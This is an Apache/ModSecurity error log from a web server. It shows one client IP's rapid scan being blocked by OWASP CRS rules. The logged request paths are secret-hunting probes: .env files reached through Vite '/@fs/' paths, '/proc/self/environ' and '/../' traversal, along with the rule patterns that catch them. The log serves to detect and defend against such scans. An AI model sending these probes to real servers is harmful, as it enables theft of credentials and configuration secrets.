[Mon Oct 26 00:33:56.392858 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at7YNFQkxmE60qPo5GrphQAAAAE"]
[Mon Oct 26 00:33:56.978828 2026] [authz_core:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 00:33:57.052211 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7YNRNY8krM563TMfK98AAAABI"]
[Mon Oct 26 00:33:57.052673 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7YNRNY8krM563TMfK98AAAABI"]
[Mon Oct 26 00:33:57.053007 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7YNRNY8krM563TMfK98AAAABI"]
[Mon Oct 26 00:33:57.411044 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7YNRNY8krM563TMfK98QAAABI"]
[Mon Oct 26 00:33:57.411399 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7YNRNY8krM563TMfK98QAAABI"]
[Mon Oct 26 00:33:57.411655 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7YNRNY8krM563TMfK98QAAABI"]
[Mon Oct 26 00:33:57.525449 2026] [authz_core:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 00:33:57.539173 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at7YNRI7Pq_EK1Ick-P9eQAAACQ"]
[Mon Oct 26 00:33:57.539783 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at7YNRI7Pq_EK1Ick-P9eQAAACQ"]
[Mon Oct 26 00:33:57.540016 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at7YNRI7Pq_EK1Ick-P9eQAAACQ"]
[Mon Oct 26 00:33:57.541200 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at7YNVQkxmE60qPo5GrpiAAAAAE"]
[Mon Oct 26 00:33:57.541709 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at7YNVQkxmE60qPo5GrpiAAAAAE"]
[Mon Oct 26 00:33:57.541925 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at7YNVQkxmE60qPo5GrpiAAAAAE"]
[Mon Oct 26 00:33:57.942249 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNRNY8krM563TMfK98gAAABI"]
[Mon Oct 26 00:33:57.943463 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNRNY8krM563TMfK98gAAABI"]
[Mon Oct 26 00:33:57.943757 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNRNY8krM563TMfK98gAAABI"]
[Mon Oct 26 00:33:58.286182 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNhI7Pq_EK1Ick-P9egAAACQ"]
[Mon Oct 26 00:33:58.286910 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNhI7Pq_EK1Ick-P9egAAACQ"]
[Mon Oct 26 00:33:58.287155 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at7YNqNncdtu7DBDOKsCDAAAABs"]
[Mon Oct 26 00:33:58.287178 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNhI7Pq_EK1Ick-P9egAAACQ"]
[Mon Oct 26 00:33:58.287335 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at7YNqNncdtu7DBDOKsCDAAAABs"]
[Mon Oct 26 00:33:58.287610 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at7YNqNncdtu7DBDOKsCDAAAABs"]
[Mon Oct 26 00:33:58.378094 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at7YNh4YFEkUWtPrht_QhgAAAAs"]
[Mon Oct 26 00:33:58.378667 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at7YNh4YFEkUWtPrht_QhgAAAAs"]
[Mon Oct 26 00:33:58.378976 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at7YNh4YFEkUWtPrht_QhgAAAAs"]
[Mon Oct 26 00:33:58.640513 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNhNY8krM563TMfK98wAAABI"]
[Mon Oct 26 00:33:58.641100 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNhNY8krM563TMfK98wAAABI"]
[Mon Oct 26 00:33:58.641509 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at7YNhNY8krM563TMfK98wAAABI"]
[Mon Oct 26 00:33:59.275057 2026] [security2:error] [pid 2963509:tid 2963509] [client 34.80.157.212:47022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN4rtMcRnACiJsTjM8QAAAAI"]
[Mon Oct 26 00:33:59.275830 2026] [security2:error] [pid 2963509:tid 2963509] [client 34.80.157.212:47022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN4rtMcRnACiJsTjM8QAAAAI"]
[Mon Oct 26 00:33:59.276206 2026] [security2:error] [pid 2963509:tid 2963509] [client 34.80.157.212:47022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YN4rtMcRnACiJsTjM8QAAAAI"]
[Mon Oct 26 00:33:59.289966 2026] [security2:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7YN1VbL92lb6khT45oywAAACE"]
[Mon Oct 26 00:33:59.290569 2026] [security2:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7YN1VbL92lb6khT45oywAAACE"]
[Mon Oct 26 00:33:59.290857 2026] [security2:error] [pid 2961908:tid 2961908] [client 34.80.157.212:46996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7YN1VbL92lb6khT45oywAAACE"]
[Mon Oct 26 00:33:59.297242 2026] [authz_core:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 00:33:59.338889 2026] [security2:error] [pid 2963377:tid 2963377] [client 34.80.157.212:46966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7YN426VStI4Zd-KpCMIAAAAAA"]
[Mon Oct 26 00:33:59.339319 2026] [security2:error] [pid 2963377:tid 2963377] [client 34.80.157.212:46966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7YN426VStI4Zd-KpCMIAAAAAA"]
[Mon Oct 26 00:33:59.339572 2026] [security2:error] [pid 2963377:tid 2963377] [client 34.80.157.212:46966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at7YN426VStI4Zd-KpCMIAAAAAA"]
[Mon Oct 26 00:33:59.350065 2026] [security2:error] [pid 2961883:tid 2961883] [client 34.80.157.212:47006] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at7YNx4YFEkUWtPrht_QhwAAAAs"]
